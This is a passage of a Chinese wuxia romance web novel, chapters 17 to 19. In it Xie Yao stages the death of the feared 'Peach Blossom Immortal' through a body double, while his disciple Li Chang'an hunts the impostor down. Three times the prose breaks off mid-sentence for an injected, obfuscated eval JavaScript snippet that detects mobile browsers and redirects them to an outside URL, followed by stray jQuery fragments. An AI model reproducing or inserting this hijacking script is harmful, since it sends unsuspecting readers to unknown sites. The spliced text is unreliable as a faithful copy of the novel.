谢夭道:“迫不得已、迫不得已。他们堵到我了,只能出剑了。” 江问鹤闭上眼睛,眉头微皱,嘘了一声。 谢夭见他脸上表情很是不好,不敢说话了。倒不是因为脉搏什么事,是因为江问鹤这个人碎嘴子起来忒吓人,能一连说三百个字不带喘气的。 “你让我说你什么好?”江问鹤睁开眼睛道,深吸一口气就要开喷,“你就往外面跑吧,死外面都没人管你……” 谢夭想说什么,就在这时,响起了敲门声。江问鹤紧急收住声,两人同时看向门外。 看门外颀长又挺拔的身形,不是李长安还是谁? 谢夭眼睛一亮,心道来得正好。不知道外面那位小祖宗这个时辰来找他干什么,但总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711085|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比听江问鹤在这唠叨好。 “快进去吧你。”谢夭道,“长安来找我了。” 江问鹤又藏到房间里面,看谢夭精神抖擞地站起来,走到门口开门。 刚一开门,就看见斜靠在门边的李长安。李长安一身玄衣,头发梳成马尾高高束在脑后,就那么慵慵懒懒斜斜靠在门边,眼神冷冷清清地垂下。 谢夭出门,习惯性低头去看他,没看见他的脸,只看见他宽阔的肩膀和收的极窄的腰。 他一愣,心道这小子什么时候长这么高了,抬头看他,对上他视线,心里莫名一跳。 在那个瞬间,他想,还是要好好教导李长安,不要用这张脸去挑逗小姑娘。 谢夭缓了会儿,才一笑,道:“李少侠。” “敲门听得见?”李长安道。 谢夭知道李长安这是在说他刚才装聋的事,指了指自己耳朵,道:“时好时不好。” 李长安站在门边,往里看了一眼,谢夭本来想挪一步挡住李长安视线,但想到堂堂大神医要连捉迷藏都藏不好,那就空负神医之名了。于是他就站在旁边,任由李长安往里看。 李长安道:“屋里有人?” 谢夭道:“就我自己。”说完,又一笑道:“李少侠有事?” 李长安拿出谢夭遗落在外的那封家书,特地展开在他眼前,道:“你东西忘了。” 谢夭冷不丁跟“赎金三百两”打了个照面,尴尬地摸了摸鼻子,忙不迭把那丢人的玩意儿给收了,道:“……多谢。” 打发走了李长安,关上门,谢夭把那封家书卷了卷塞进袖子里,江问鹤这时才从屋里出来,他盯着外面看了一会儿,转头问已经坐回桌子旁边的谢夭:“李长安?” 谢夭点点头,又抬起眼睛看他一眼,见他狐疑盯着自己,笑了:“你这是什么反应?” 江问鹤道:“你徒弟?” 谢夭又点点头,把茶杯放下了,认真道:“是。” 谢夭认真是个很稀奇的事情,他是性格阴晴不定的桃花谷谷主,也可以是吵吵闹闹没个正形的谢夭,但就是很少认真。也只有在对待谢白衣那个身份,才能生出一点真心。 江问鹤莫名叹一口气:“他要杀你啊。” 谢夭嗤笑一声:“我知道。” “他知道你身份么?”江问鹤又转头问。 谢夭抬头,淡然问道:“你说哪个?” 他如今身份太多了,江南偷跑出来的二公子,百晓堂的编外弟子,桃花谷谷主……还有那个他最初的身份,归云山庄二庄主,谢白衣。 江问鹤反问他:“你说哪一个?” 谢夭摇摇头,道:“都不知道。” “那你准备如何?”江问鹤问。 这一问问的谢夭一怔,最开始跟着李长安还可以说是事出有因,为了进望城不得不跟他一起。但当真就不得不么? 谢夭知道不是,他也知道不该过多纠缠。但因为某种探不得也不可说的私心,似乎忍不住…… 那之后又该如何呢? 想半天没个结果,谢夭一笑:“先把桃花仙的事了结了再说吧。” 谢夭神秘地勾起唇角,冲他勾了勾手指,示意他凑近一点,神神秘秘地跟他说完,江问鹤却狐疑地抬起一根眉毛,道:“你那日可是自己退了百名正道围攻,桃花仙的实力已经打出去了,他们会信么?” “这就要看你的了。”谢夭道。 “我?”江问鹤更疑惑了,他道,“我除了拿针扎人可什么都不会。” 谢夭看他一眼,慢慢悠悠地冲他说:“神医堂第六十七代堂主,你神医堂,在这颍州……”他抬起眼睛,直视江问鹤眼睛,道,“势力如何?” 又过了一刻钟,终于商量停当。月亮高挂天空,在这初秋的夜晚里,外面传来关子轩和李长安说话的声音。 关子轩道:“真好的月色。这几天桃花谷没再出来作乱,还挺清闲。” 李长安也抬头看了看月亮,那月亮很近,近得仿佛触手可及,近得仿佛他置身千金高台,他不知道想起了什么,淡淡嗯了一声。 谢夭听完,淡淡勾起唇角一笑,心道,桃花谷不会再出来作乱了,但接下来半月,也别打算享清闲了。 17. 济世堂(二) 这段时间比起前一段确实清闲,望城城门口的通息铃没有响、没有接二连三的死人,也不用日以继夜地审讯。追查桃花仙党羽的事情一无所获,所有人都有些泄气,就连宋明赫和怀竹月也不出所外。 只有李长安喜怒不形于色,他安安静静待在谢夭房间的时候,没人看得出他正在想什么。 这天早上,宋明赫安排李长安去归云山庄老家寄去一封信,信里无非就是问问归云山庄近来如何,有没有贼人趁庄主不在偷袭之类,走到一半,路过谢夭房间,他忽然想起谢夭那封狗屁不通的“三百两”家书,鬼使神差地敲了门。 谢夭刚起床,眼都有点睁不开,看上去迷迷糊糊地,他打了个呵欠道:“李少侠?大早上有事?” 李长安道:“你那三百两还寄吗?” 谢夭狐疑看他一会儿,确定他不是在开玩笑,而是真的要顺路去寄信。 谢夭想了想,他出来这么久,不写一封家书寄回去似乎不合常理。再者说,这一封家书过后,他江南谢家二公子的身份,就能坐实了。 谢夭一笑:“寄。” “就那三百两?”李长安道。 李长安心道,也不知谢夭他爹是个什么奇才,能养出这种儿子。 谢夭摆摆手:“肯定不是三百两,等我一会儿,我重新写一封。” 于是李长安就半靠在窗边,等着谢夭写他那封不知道这次要几百两的家书。 他扭头看向窗外,清晨,外面还没什么人声,只能隐隐约约听见几声空灵的鸟叫。夏天,归云山庄竹林里,全是这样的鸟叫。 屋内,谢夭正正经经在桌边坐着,这次跟上次不一样,似乎写得极认真。 李长安偏头看他一眼,没来由想到最开始遇见谢夭时,他骗自己说是奔丧,实际上是出来闯荡江湖的,于是一起到了颍州望城,却一直没说过他来这里是要干什么。 李长安道:“你为什么要来望城?” 谢夭笔尖一顿,心道快半个月了,这小子终于想起来问自己来望城打算干嘛了。他头也不抬道:“闯荡江湖。听说江湖侠士齐聚望城,我就来了。” “哦。”李长安点点头,又看向窗外。 谢夭这时写好了家书,在信封上写了江南落花堂的地址,那里有他的人,可以确保收到信。 李长安接过他那封家书,只瞥了一眼,记住了个落花堂的名字,又抬起头,闲聊似的问:“那之后呢?回家?” 谢夭登时想起江问鹤说的话,一阵头疼,左一个江问鹤右一个李长安,都来问他之后如何。 之后又能如何呢?他还能以谢白衣的身份活过来?还是继续隐藏身份混在归云山庄里面,日日听他们说谢师伯如何如何? 他就不该来! 那怎么山路上只看了李长安一眼,他就编个谢公子的身份,跟过来了呢? 想半天,谢夭觉得还是李长安这小狐狸精的问题,不过看他一眼,愧疚、惭愧、不舍就咕噜咕噜地从他自认为铁石心肠的心口往外冒,他想知道归云山庄如何,师兄如何,小师妹如何。 ——李长安又如何。 谢夭轻松道:“接着闯荡江湖呗,没钱了就回家。” 李长安似乎想说什么,就在这时,门被敲了三下,关子轩的声音在门外响起:“长安师兄,庄主让你去找他,说有要紧事。” 话音刚落,又响起了褚裕吊儿郎当的声音:“假正经,谁让你站我家门口了?” 李长安沉默着看过来。 谢夭:“……” 片刻后,他尴尬一笑:“我回头训他,训他。” 李长安带着还没送出去的信折返回去,刚一进屋,就发现宋明赫和怀竹月两个人站在屋里,脸色都不是很好看,屋里桌上,还扔着一封信件,封漆上盖着归云山庄的特制章,只有布置在外的暗桩才能用这个级别的印章。 李长安下意识感觉情况不对,他也没去看扔在桌上的信件,只道:“怎么了?” 怀竹月看他一眼,深吸一口气,慢慢道:“桃花谷暴乱了。” 暴乱?这个时节桃花谷外面的暗桩比之前多了一倍还多,之前不暴乱偏偏这个时候暴乱,脑袋被门挤了么?还是说桃花仙实际上就是个蠢货? 李长安想起那天在华光庙远远看见的桃花仙,没把这个想法说出来,道:“暗桩被拔了?” 宋明赫摇摇头,道:“不是往外暴乱,是桃花谷内部乱了。” 暗桩传回来的信件里说,桃花谷厮杀声整整持续了三日,谷内原本青茫茫一片的瘴气都变成一片血红。除了他们归云山庄,几乎所有在桃花谷外设立暗桩的门派都传回了这一消息。 桃花谷内乱之事,一夜之间,天下皆知。 宋明赫道:“桃花谷内部不合,桃花谷人趁如今桃花仙不在,消除桃花仙亲信,夺权篡位。” 如果只从暗桩传回的密报来看,确实如此,但细想却有一点不对。 李长安道:“他们夺了谷主之位,就不害怕桃花仙再杀回来么?” 桃花仙是何等人物?一代大魔,就算没有那些亲信,夺回一个谷主的位置依旧轻轻松松。甚至,桃花仙那样的魔头,有没有亲信都不好说。 除非……他们有能力把桃花仙杀了。 李长安想到这,忽然意识到什么。 就在这时,外面一个弟子急匆匆跑过来,一边大喘气一边道:“又、又死人了!” “什么?”宋明赫震怒。 归云山庄已经在桃花仙手下折了好几个了,再这么死下去,他这个庄主都没脸当了。 弟子咽了一口唾沫,大喘气道:“不是我们的人,也不是其他门派的人,也不是百姓。不知道是什么人,死在西市枯水井旁,旁边都是桃花瓣。” 李长安眉头一皱,不是归云山庄,不是其他门派,不是百姓,如今在这望城之内,能被杀的,只有桃花谷人了。 难道桃花谷人真有能力杀了桃花仙,如今他们正在内讧? 怀竹月道:“桃花谷内乱一事有蹊跷,庄主,我想去桃花谷暗桩一趟。” 宋明赫点点头,道:“也好,你回去坐镇,一定要把桃花谷内乱的事查清楚。” 怀竹月提了剑,即刻快马加鞭赶赴桃花谷。 李长安对宋明赫行礼道:“师伯,我去西市看看尸体。” 说完,转身出了门,刚走出没多远,看见一个人站在走廊伸懒腰的谢夭。谢夭刚起来,颇有些衣衫不整,头发也没绾,就那么随意披着,更衬得他眉目清冷病态了。 他一人站在走廊的时候,颇像个不问世事的病歪歪的公子哥。 李长安道:“西市有尸体,去看看么?” “李少侠别拉着我看尸体了行么?”谢夭摆摆手道,“我养病,今不宜出门。” 李长安也没说什么,带着人走了。 谢夭在走廊看着李长安逐渐离开的背影,勾起唇角一笑。 他知道,他谋划之事,开始动了。 — 西市总共发现了三具尸体,都穿着普通百姓的衣裳,但是仔细去看手掌,能看见常年拿剑磨出来的老茧,只看那精瘦强悍身形,也知道必定常年练武,不是什么普通人。 关子轩道:“其他门派话事人已经过来看过了,都说不是他们的人。” 李长安点点头,如今只有一种可能了,那便是桃花谷人。 他仔细去看尸体上的伤口,每一具尸体的致命伤都是剑伤,伤口里都填着桃花瓣,倒是跟那日华光庙桃花仙用剑相符合。但有一点奇怪,每具尸体身上伤口都多而杂乱,又与桃花仙用剑风格不太相符。 桃花仙历来不是一击毙命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711086|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的么? 关子轩也看出了这一点,道:“这杀人的手法,好像在泄愤。” 李长安闭了一下眼睛,道:“他不是在泄愤。” 不是泄愤还能是为何?杀这几个人用得着那么多剑么?关子轩疑惑道:“那是什么?” 李长安道:“他受伤了。剑拿不稳。” 所以才有多而杂乱的伤口,内力也不稳,所以伤口切面才不整齐,反而像泄愤一般的凌迟。 李长安毕竟负有剑仙之名,手里拎着青云,又是谢白衣的亲传弟子。在看剑伤这种事上,整个归云山庄,除了庄主宋明赫,就是李长安。甚至有时,宋明赫也要听李长安的。 “查所有药铺,”李长安回头,斩钉截铁道,“桃花仙一定会去买药!” 望城不大,药铺也不多,所有人手铺出去,不过一个时辰就查了一遍。消息传回来,却是让所有人都大吃了一惊,所有药铺都说最近没有奇怪的人来买药,更别说买调理气血的药了。 一行人不知如何是好,待李长安下一步命令之时,又一个弟子姗姗来迟,传来了消息,他道:“有一个掌柜的说,有人在大量收购冰蚕,几乎整个望城的冰蚕都没了。” 李长安一怔。 冰蚕至毒也至纯,用好了是一味上好的药材,用不好就是致人于死地的毒药。这种药一般药铺不会有什么存量,几两就算是多的,因为普通百姓用不到。 这玩意儿,是专给江湖人解毒用的。 李长安道:“我们中有人中毒么?” 一群人都摇了摇头。 事情越发清晰起来,桃花谷内乱,谷内有人夺权,桃花仙身边的人给他下了毒,桃花仙杀了叛徒,尸体就扔在西市,而他本人正在大量收购冰蚕,用来解毒。 “还有哪个药铺有冰蚕?”李长安朗声道。 身后有人喊了一句:“济世堂!我看见了!那家还有冰蚕!” — 济世堂背靠神医堂,备受百姓信赖,门前病人络绎不绝。李长安没有直接带人进去,而是悄悄围了济世堂,就等桃花仙——或者是那个被派来买冰蚕的人。 从下午一直守到傍晚,济世堂的门口少说得被人踏了几百遍,几乎所有格子都开了,就那个装冰蚕的小方格没开,买冰蚕的人依旧没有出现。 一群人都等得有些倦,忍不住打起了哈欠。 关子轩道:“长安师兄,桃花仙真的会来么?” 李长安道:“中毒不能拖。如果中的是火毒,整个望城的冰蚕都不一定能凑出一副解药,这济世堂最后一点冰蚕,他一定会来买。” 正说着,一个人进了济世堂,所有在外蹲守的人都清醒了。 只见谢夭一身鹅黄,头发随意绾着,散漫地走到了药铺柜台前。 关子轩两眼一亮,特意拍了拍李长安,怕他看不见似的,道:“长安师兄,你看。” 李长安看谢夭一眼,又收回视线,道:“他怎么来了。” 谢夭站在柜台前,跟那大夫嘀嘀咕咕说了一阵什么,表情看上去极为悲恸,像是真的有人重病,一行人只看见那大夫安抚了谢夭一阵,接着转过身,拉开了一个小格子。 不是别的,正是冰蚕。 先是惊呼,然后是死一般的寂静。 一群人不知该如何了。 他们在这守了一下午,没等来别人,等来了一个日日夜夜跟他们同吃同住的人,这个人还他妈是自家少庄主带回来的。 所有人都纷纷转头去看李长安脸色,有人不怕死地问了一句:“拿吗?” 关子轩看李长安脸色铁青,有些犯怵,还是硬着头皮开口了:“长安师兄?” 话音刚落,就见李长安脸色冰冷地站起来,快步进了济世堂,不容置疑地抓了谢夭胳膊,把他拽过来。 谢夭:“?” 18. 济世堂(三) 在众人惊愕的目光里,李长安冷着脸,掐着谢夭胳膊,一路穿过济世堂熙熙攘攘的人群,如同老父亲抓包偷跑去喝酒的儿子。 谢夭跟在他身后,窝窝囊囊道:“李少侠?……咳,李少侠?” 他语调听上去委屈巴巴,可嘴角却是笑着的。 这个瞬间让谢夭感觉时空倒转,他从李长安冷冰冰的表情上找到了一点小时候的影子,那时候他逃避早课,小长安去抓包他的时候,也是这个样子。 明明身量更高了,力气更大了,也没之前爱笑了,生气的时候还是这个样子。 让人看了忍不住想逗一下。 李长安押着谢夭回了门口的茶铺,直接把谢夭摁在凳子上,一句话都没说,只冷着脸喝了一口茶。 谢夭转头看看旁边的关子轩众人,心道带的人还不少,微笑着点头冲他们打了个招呼。 他倒是打招呼了,这个时候谁敢回啊?一群人心道这个时候怎么还能笑得出来?又大气不敢喘地等着少庄主说话。 这种时候买冰蚕,不管怎么说,都要押起来审一番吧? 让众人震惊的是,李长安丝毫不提冰蚕的事,开口第一句话是:“你怎么在这?” 不提冰蚕就算了,李长安接下来又接了一句:“不是说今天不宜出门?” 听听,这哪像什么审问,这不就是开玩笑么? 谢夭道:“养病嘛,来药铺抓点药。” “抓药?”李长安嗤了一声,反问道:“你抓的什么药?你抓冰蚕?” 谢夭胃里立刻翻涌出冰蚕的那股凉凉的苦味,如果不是事出有因,正常人谁想抓冰蚕,没事毒自己是吧? 谢夭想了半天,道:“大夫说我最近火气有点重。急火攻心,梦魇压身,非冰蚕不得解。” 火气重是假的,梦魇压身是真的,大夫按头他吃冰蚕是真的,这个大夫就是江问鹤江大神医。 江问鹤说,他要是不吃,就等着以后疯吧。 经脉逆行之时两股内息冲撞,如同两股势力在他体内不停地打架,日日火气冲天,所以发作之时性情大变,看哪都焦躁烦闷,极其容易走火入魔。 抵制这股火气之法,便是冰蚕。 但冰蚕到底是毒,他身上又没中毒,所以每次吃冰蚕,必定会有一段时间如坠寒窟,那感觉比身处归云山庄的寒冰涧还要冷。第一次吃冰蚕,他裹了三层毯子在身上,也没喊冷,只模模糊糊地说了一声:“操,真苦。” 其实后来吃得多了,他已经能够自动地屏蔽冰蚕那股石灰一般的苦味,冷静地给自己蒙上三层被子睡觉。但不知怎么,看着李长安的脸,忽然就觉得那玩意太苦了。 就连心头都跟着苦。 李长安深深看一眼他,道:“梦魇压身?” “火气太重容易鬼压床,”谢夭呵呵干笑两声,又转头看了看周围,道,“你们这是在……蹲人?” “全城的冰蚕都被买空了,桃花仙可能中毒了。”李长安转回头,盯着铺子。 一个身形颀长穿着粗布麻衣的年轻人进了济世堂,李长安盯着他看了一会儿,这人打扮怎么看怎么都是普通老百姓,还是比较困苦的那种,但是身形和个子很像。 那年轻人进去,药铺给他抓了白术、车前草之类的药,他感恩戴德地付了钱。 李长安又把视线收回来,对谢夭道:“这是在等桃花仙。” 谢夭稀奇道:“你们见过桃花仙了?” 李长安想起华光庙那天谢夭犯病,后来也一直没跟他说华光庙之中的遭遇,谢夭至今还不知道。 李长安只点点头。 “桃花仙什么样?”谢夭道。 他回想起自己站在华光庙二楼露台之上,信手挥出四个大字。后来他时常觉得那天表现得有点太强了,以至于之后的事情都费了一番周折。 但如今他看着李长安的时候,忽然想听李长安说几句好话。他都那么厉害了,应该可以胜任李长安师父一职。 李长安想了想,道:“很强。” 谢夭道:“然后呢?” 他心道,就没有一点关于外貌方面的印象么?他那天穿戴整齐,还别了桃花枝,甚至还招摇地拿了一把折扇,跟个开屏孔雀似的,怎么能没有一点印象? 李长安沉默了一会儿,慢慢道:“我可能还杀不了他。” 谢夭一怔,尴尬地笑了一下,又打了个哈哈,道:“你不是剑仙么?肯定杀得了。” 心里像是有个什么东西落空了,他也说不出来那是什么,遗憾有一点,难过也有一点,但不是让人想要流眼泪的难过,像一场大梦初醒,他只是忽然觉得望城住不了多久,他要收拾收拾准备去别地了。 没人再说话了,一群人守在济世堂外,到目前已经整整守了三个时辰。这三个时辰,除了一位差点要开冰蚕还被他们二庄主拉回来的谢夭,再没有人去买冰蚕。 等的时间实在太久,傍晚昏黄光晕下,一群人再也维持不了站如松坐如钟的正经做派,都歪的歪斜的斜。 谢夭也有点坐不住了,看上去甚至还有点困,他一手支着头,迷迷糊糊地只睁开了半只眼睛,看着一个又一个人进了济世堂的门,道:“还没等到?” 李长安道:“今天等不到,那就抓你去审。” 谢夭可能实在太困,摆了摆手道:“那就审。” 他没清醒,其他人倒是清醒了。抓了谢夭之后李长安闭口不提审讯之事,其他人也不敢提,却都在心里暗暗道色令智昏。如今看来,他们这位少庄主脑子还是有的。 “如果是我,我肯定不会老老实实买什么冰蚕。”谢夭半梦半醒,迷迷糊糊道,“我都桃花仙了还用买么?谁不知道那冰蚕有剧毒,只要买了肯定就会被店家记住……” 一番话没说完,李长安忽然意识到什么。 他不顾身份地冲进济世堂,翻过柜台,济世堂大夫伙计想要去拦,但没拦住,李长安已经利落地拉开了装着冰蚕的小格子。 里面,空空如也。 济世堂伙计和掌柜也吃了一惊,今早上还检查过药柜,里面还有冰蚕,这一天下来也没一个过来开冰蚕的,柜子里面怎么可能是空的?! 冰蚕已经被人神不知鬼不觉地拿了! 李长安瞬间想起那个穿着粗布麻衣的年轻人,那人用厚厚的布裹着脖子,现在天气也不冷,为什么非要裹着脖子? 除非是为了挡住皮肤,中了火毒的人,脖颈会泛红! 李长安眸光一沉,道:“人跑了,出去追。” 人都已经跟着李长安走了大半,谢夭才像被吵醒那样迷茫地睁开了眼,关子轩道:“快走吧谢兄,人跟丢了!” 谢夭愣愣地“哦”了一声,却在离开的那个瞬间回头,跟济世堂的掌柜对上了视线。 谁都没躲,谢夭冲他弯起眼睛一笑,像是致谢,接着点了一下头。 济世堂掌柜也不知道怎么回事,就是神医堂在外隐居已经快十年的堂主突然大驾光临,拿着一块堂主令牌到了他们这个鸟不拉屎的地方,就吩咐了两句话。 一是把望城所有冰蚕买了。 二是有人来查,就当什么都不知道。 — 桃花仙中了火毒,内息有损,轻功也发动不出来,还没走出多远,身后就来了追兵。他回身甩了几个暗器,不过扔几个暗器的力气就让他咳嗽了好一阵。 看来桃花仙果真受伤了,而且伤得还不轻。 李长安一边让人回去传信,一边追击桃花仙。桃花仙本来想从东南方向逃出城,那里地势平坦,没有什么东西阻隔,用轻功还是能攀上城墙的。 但宋明赫带人忽然出现在东南方,堵住了桃花仙的去路。 桃花仙只能转身继续跑,不曾想被逼到了绝境。面前是一汪深不见底的池水,抬头,是峭壁悬崖,瀑布从山顶滚落,溅起一地的水珠。 桃花仙看着那峭壁悬崖,莫名笑了一下。 宋明赫道:“桃花仙!你还想逃到哪去?” 桃花仙阴森森地看了宋明赫一会儿,接着把自己身上穿的破破烂烂的粗布长衫扒了,露出里面的粉紫衣裳,又把裹着脸只露出眼睛的布条扯了,布条下,是一张秀气的脸。 一群人都是倒吸了一口凉气。 都说桃花仙杀人那么凶狠,必定凶神恶煞,但委实没想到,长得竟然可以说是温和的没有攻击性的漂亮。 只见桃花仙从袖子里抽出自己的桃花簪子,把自己头发绾了,又仔细地插上桃花簪。 接着他从桃花枝自动从袖中脱出,他握了剑,抬眼,平静看向众人。 不知为何,只那一眼,一群人竟然想往后退一步。 追人的时候还没感觉,因为桃花仙穿得破破烂烂,不像是追桃花仙,反倒像是追一个岌岌无名的小贼。而此时全套装束完毕,只看着他,便会让人会想起华光庙那一刻。 那种让人感觉恐惧的实力。 李长安却一步没退,静静看着桃花仙。这个时候他其实很想走近一点,跟桃花仙说一两句话。 知道当年桃花谷事情真相了,只有桃花仙了。 谢夭混在人群中,平静地看向那位“桃花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711087|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙”的眼睛。极长老的脸易了容,是往漂亮秀气这个方向化的,唯独有一点,就是不能像谢夭。 极长老目光扫视众人,在谢夭身上似是多停留了一会儿,谢夭充满歉意地,冲他点了一下头。 极长老又移开视线。 有了上次的教训,众人不敢轻易上前。这时有人拉开了弓弦,众人都听见了弓弦拉满之时的铮铮声。那人正是暗鸦斋长老,暗鸦斋号称天下箭术第一,最会用箭。 众人恍然大悟,对啊,可以用箭! 一群人拿了弓箭,弓弦都拉满,箭指着桃花仙。架势已经摆了,数百支乱箭下去,没中毒的桃花仙不好说,但中了毒桃花仙一定难逃。 但宋明赫和李长安没有下令,没人敢放箭。 李长安看了宋明赫一眼,心道,不要放箭,不要放箭…… 数百号人就这么僵持着。谢夭当时在华光庙时还感觉不出来,如今站在人多的这边才感觉对,对面只有一个人的时候,是显得那么孤独,那么孤立无援。 这时,只见桃花仙一笑,挥剑劈过来。 剑气再次如同波浪,还没到跟前就让人心慌。一个小弟子害怕,手一松放了箭。 李长安心下一惊,他甚至想去拦那支飞过去的箭,但已经来不及了。 接着便一发不可收拾,都以为是下令了但是自己没听见,那一瞬间万箭齐发。 谢夭站在人群中间,怀着一种格外复杂的心情,抬头,看着数百只箭划过上空,穿过瀑布激起了水雾,射向扮演自己的极长老。 谢夭沉默着,从暗鸦斋那拎了一把弓箭,又要了一支箭,箭搭在弦上,他把弓弦拉满。 箭对准极长老,他平静地抬眼,跟极长老对上视线。 极长老忙于对付千百只飞箭,在对上谢夭视线时还是一惊,他心道,谢夭就不怕这是他自己的结局么? 如今,这是要自己放箭杀了“自己”么? 数百只箭被桃花仙的剑气冲撞了一下,方向都有些歪,桃花仙身上插了好几支箭,但地方都不致命。桃花仙全身都是箭的擦伤,殷红的血肉外翻,看上去让人心惊。 李长安这时大吼道:“停下!不许放箭!” 桃花仙不能就这么死了,他还有好多要问的没有问…… 但现场太乱了,弓箭穿破空气的声音,弓弦震动的声音,与剑气相撞时爆炸一般的闷响,全都混杂在一起,没人听见他的吼声,他像一只困兽,徒劳地去阻止数百支箭。 谢夭闭了一下眼睛,松手,箭急速射出去,正中极长老心脏。 看见桃花仙中箭那刻,李长安整个人怔了一下。 极长老半跪在地上,一手握住箭杆,看着某个方向,咧开嘴一笑,吐出了一口的血沫,接着重重歪在地上。 谢夭随手扔下弓,像是丢弃了什么轻飘飘的东西,即使这张弓刚刚解决了他“自己”的性命。 李长安大吼一声:“都停下!别放箭!” 所有人都是一怔。 他接着不顾宋明赫命令冲过去,捂着桃花仙还在涌血的胸口,又把他头托起来,手忙脚乱地问:“先别死,先别死。你、你见过谢白衣么?最后一次见他,他……他什么样子?” 极长老咳咳两声,想说什么,一张嘴就是一口血沫。 李长安又手忙脚乱地去擦,声音都在抖:“他、他还活着么?” 极长老嘴唇抖了两下,似乎是在说什么,李长安顾不得他此时满脸血污,把耳朵凑近了,听清他说什么那刻,全身的血液都冷了。 桃花仙用破碎的嗓子喑哑着说话,语气还有那么一点点嘲讽和调笑。 只听见他道:“谢白衣,死了七年了。” 李长安那个瞬间大脑是空白的,甚至有点不知道作何反应。茫然了那么一秒,心口剧烈地疼起来,疼得他想把身体蜷起来。 “他怎么死的?他可是谢白衣。”李长安抓住桃花仙领子,摇晃着他身体,几乎颠狂地问他,“谢白衣那么强,谢白衣怎么可能死?” 桃花仙却已经嘴角带着笑,缓缓合上了眼。 所有人都看见那个最为冷静,最为自持,最为早熟的少庄主疯了一样摇晃着桃花仙的尸体,愤怒地大吼道:“我他妈问你他怎么死的?!” 这个他,没有其他人,只能是谢白衣了。 谢夭背过身,往外慢慢地走,听见李长安这声吼,又停住脚步。 从心尖开始疼,疼痛密密麻麻地漫上来,整颗心都被攥紧了。 他又回想起冰蚕的滋味了。 娘的,真苦。 19. 济世堂(四) 瀑布溅起的雨幕之下,所有人静默地站立着。李长安距离瀑布最近,他一人站在狂风暴雨里,头发和衣服都湿了,湿哒哒地贴在身上,样子有些狼狈。 他就那么静静地站着,低头看着桃花仙的尸体。 桃花仙就这样死了么? 谢白衣也死了么? 他现在拿起了小时候就想拿起的剑,斩妖除魔成了一代大侠,桃花仙就死在他眼前,甚至尸体还摆在这里,他七年追逐终于有了个了结,多年夙愿都已经达成。 但他为什么,这么不痛快。 在李长安静静看着桃花仙尸体的时候,谢夭一个人往外走去,他步子有一些踉跄,那一箭他稍微用了点内力,差点倒下去的时候他还是扶了一下旁边的墙。 按理说只消耗了一点不会有这么大的反应,为什么他现在全身都开始疼? 他闭上眼睛缓了一会儿,忽然想起在这场追杀之前,他和极长老见的最后一面。 那天极长老已经易容完毕,也换好了衣服,谢夭给他带去了桃花枝、簪子、还有桃花谷谷主的谷主令。极长老沉默地把桃花枝和谷主令装进袖子里。 谢夭道:“极长老,桃花谷那一战,跟你有关系么?” “跟我有什么关系?”极长老哼一声,道,“我都快死了,别把屎盆子往我身上扣。” “也就是说,你不知道那天的伏兵?”谢夭问。 极长老摆摆手:“不知道。” 谢夭又问:“也没见过谢白衣?” 极长老动作停了一下,狐疑地看着他。 当年那一战,人数众多,谷里又都是瘴气,他并没有正面撞上谢白衣,就连远远看一眼都没有。人太多了,极长老现在闭上眼睛,都能想起来那一战的厮杀声,和那些如同天降的……杀人魔。 极长老隔了一会儿才道:“没见过。” 谢夭很轻地点点头,转身要离开。走到一半,又忽然想起什么,他停下脚步,极轻地叹了口气,道:“如果有人问起谢白衣,你就说他死了。” “……粉身碎骨那种死。” 极长老在那个瞬间明白了什么,他终于知道这个仿佛从天而降的有着超强实力的谷主从何而来,谢夭为何严禁魔教做派,也终于明白谢夭为何是个半残。 他身上的伤从来就没有好过。 只是他知道的太晚了,谢夭亲口告诉他,谢白衣已经死了。 谢夭之后亲自去见了极长老妹妹的儿子,那孩子名字叫王小乙,因为养母和松云剑死了,这段时间他一直流落在外,芳落把人找回来的时候,那小孩整个人脏兮兮的。 谢夭让芳落把人带回桃花谷,褚裕不明白,问道:“这小乞丐跟我们有什么关系?天底下流浪儿那么多,无父无母的多了。” “说什么呢?”谢夭敲了他后脑一下,道:“这是我答应极长老的。” 褚裕想躲过谢夭的手指,下意识捂了一下脑袋,这一捂给自己捂清醒了,他道:“明白了!” 桃花谷的内乱是假的,战乱的嘶吼是人演出来的,红色仿佛充满鲜血的瘴气是放的狼烟,为的就是要让众人相信,桃花谷内乱,桃花仙腹背受敌。 而济世堂一步,就是要放出桃花仙重伤消息,让一代大魔桃花仙的死亡合情合理。 这最后一步,也是至关重要的一步,就是假桃花仙本身。 极长老之所以愿意扮演桃花仙,就在于他妹妹留下来的血脉。谢夭当时只拿了一份那孩子的画像,一封百晓堂出具的调查密函,给了极长老。 极长老看到画像那一刻,一下子像是苍老了几岁,他没想到自己妹妹生了这么一个孩子,更没想到自己亲手杀了那孩子的养母。 